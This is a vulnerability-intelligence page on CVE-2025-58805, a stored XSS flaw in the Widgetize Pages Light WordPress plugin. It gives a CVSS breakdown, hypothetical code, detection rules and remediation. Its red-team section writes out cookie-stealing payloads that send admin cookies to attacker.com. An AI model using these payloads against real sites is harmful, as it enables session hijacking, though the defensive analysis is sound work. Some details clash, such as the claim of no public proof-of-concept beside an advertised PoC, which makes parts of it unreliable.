CVE-2025-58805
Executive Summary
CVE-2025-58805 is a Stored Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin Widgetize Pages Light by OTWthemes, affecting versions up to and including 3.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts. These scripts are stored on the server and executed in the browsers of other users (including administrators) when they view the compromised page. The CVSS v3.1 base score is 5.9 (Medium), with a vector emphasizing low attack complexity, required privileges, user interaction, and a scope change. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem component, it introduces risk into any site using the plugin. Supply chain risks include:
- No official patch from OTWthemes, leaving all installations vulnerable.
- Potential for malicious actors to fork or repackage the plugin with backdoors.
- Dependency on third-party updates – site administrators must manually monitor for fixes or remove the plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 5.9 (Medium)
- Attack Vector (AV): Network – the vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): Low – attacker needs contributor-level access or higher.
- User Interaction (UI): Required – victim must visit the compromised page.
- Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure possible.
- Integrity (I): Low – limited ability to modify content.
- Availability (A): Low – limited impact on service availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for privilege escalation (e.g., session hijacking of an admin) elevate the real-world risk.
Deep Dive & Mechanics
The vulnerability resides in the widgetize-pages-light plugin, which allows users to embed widgets into pages. The plugin fails to sanitize or escape user-supplied input before storing it in the WordPress database and later rendering it on the frontend. Specifically, when a user with contributor-level access or higher creates or edits a page using the plugin’s shortcode or block, the input (e.g., widget title, content, or custom CSS) is not properly neutralized. An attacker can inject JavaScript code that is stored and executed when any user (including administrators) views the page.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates a new page or edits an existing one, inserting the
[widgetize-pages-light]shortcode. - Attacker injects a malicious payload into a parameter (e.g.,
titleorcontent), such as<script>alert('XSS')</script>. - The payload is stored in the
wp_postsorwp_postmetatable. - When an administrator or other user visits the page, the script executes in their browser.
Root Cause: The plugin uses echo or the_content filter without applying WordPress escaping functions like esc_html() or wp_kses_post().
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin’s main PHP file (e.g., widgetize-pages-light.php). A typical vulnerable pattern:
// Vulnerable code (hypothetical)
function widgetize_pages_light_shortcode($atts) {
$title = $atts['title'];
return "<h2>$title</h2>";
}
add_shortcode('widgetize-pages-light', 'widgetize_pages_light_shortcode');
A patched version would sanitize the output:
// Patched code (hypothetical)
function widgetize_pages_light_shortcode($atts) {
$title = esc_html($atts['title']);
return "<h2>$title</h2>";
}
add_shortcode('widgetize-pages-light', 'widgetize_pages_light_shortcode');
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Widgetize Pages Light <= 3.0 installed and activated.
- Attacker account with Contributor role or higher.
Exploitation Steps:
- Log in as a contributor.
- Create a new page.
- Insert the shortcode:
[widgetize-pages-light title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] - Publish the page.
- Send the page link to an administrator.
- When the admin views the page, the script executes, exfiltrating their session cookie.
Proof-of-Concept Payload:
<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>
Blue Team
Detection & Response:
- Monitor for unusual shortcode usage in page/post content.
- Look for
scripttags or event handlers inwp_posts.post_content. - Use Web Application Firewall (WAF) rules to block common XSS patterns.
- Restrict contributor roles from using shortcodes that allow raw HTML.
Hunting Query (SQL):
SELECT ID, post_title, post_content FROM wp_posts
WHERE post_content LIKE '%<script%'
AND post_content LIKE '%widgetize-pages-light%';
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (None available – plugin files not yet analyzed)
- Network Indicators:
- Outbound connections to unknown domains from WordPress admin pages.
- HTTP requests containing
document.cookieorfetchin query strings.
- Log Entries:
- WordPress audit logs showing creation of pages with
widgetize-pages-lightshortcode by non-admin users. - Web server logs with
POSTrequests towp-admin/post.phpcontaining suspicious payloads.
- WordPress audit logs showing creation of pages with
- Registry/File System: (N/A for WordPress)
Detection Engineering
YARA Rule
rule CVE_2025_58805_Widgetize_Pages_Light_XSS {
meta:
description = "Detects stored XSS payloads in Widgetize Pages Light plugin content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58805"
strings:
$shortcode = /\[widgetize-pages-light[^\]]*\]/i
$xss_payload = /<script[^>]*>.*<\/script>/i
$event_handler = /on\w+\s*=\s*["']?[^"']*["']?/i
condition:
$shortcode and ($xss_payload or $event_handler)
}
Sigma Rule
title: Stored XSS via Widgetize Pages Light Plugin
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects stored XSS attempts using the Widgetize Pages Light shortcode
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'post.php'
cs-uri-query|contains: 'widgetize-pages-light'
cs-uri-query|contains|re: '<script|onerror|onload'
condition: selection
falsepositives:
- Legitimate use of JavaScript in page content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58805 Stored XSS Widgetize Pages Light"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"widgetize-pages-light"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete
widgetize-pages-lightfrom all WordPress installations. - Audit existing content – Scan all pages and posts for the shortcode and remove any suspicious entries.
- Change all user passwords – Especially for administrator accounts, as session cookies may have been stolen.
Long-Term Fixes:
- Vendor patch – Await an official update from OTWthemes. If none arrives, consider forking the plugin and applying input sanitization.
- Replace plugin – Migrate to an alternative widget plugin that is actively maintained and follows secure coding practices.
- Implement Web Application Firewall (WAF) – Use rules to block XSS payloads in POST requests.
Workaround (if plugin must remain active):
- Restrict the
unfiltered_htmlcapability to administrators only. - Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.
Valters IT
Securing Digital Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.